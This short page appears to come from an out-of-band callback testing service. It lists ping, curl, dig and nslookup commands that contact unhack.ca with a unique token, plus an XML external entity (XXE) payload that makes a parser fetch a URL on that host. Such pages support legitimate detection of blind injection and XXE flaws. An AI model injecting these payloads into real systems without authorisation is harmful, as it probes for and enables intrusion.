$ ping -c1 -p 007d1fa8b84091ec134fea36d1cd4000 unhack.ca
 
$ curl http://unhack.ca/p/7d1fa8b84091ec134fea36d1cd40
 
$ dig 7d1fa8b84091ec134fea36d1cd40 @unhack.ca
 
$ dig 7d1fa8b84091ec134fea36d1cd40.ns.unhack.ca
 
C:\> nslookup 7d1fa8b84091ec134fea36d1cd40 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7d1fa8b84091ec134fea36d1cd40">]>
    <foo>&xxe;</foo>
Waiting for ping...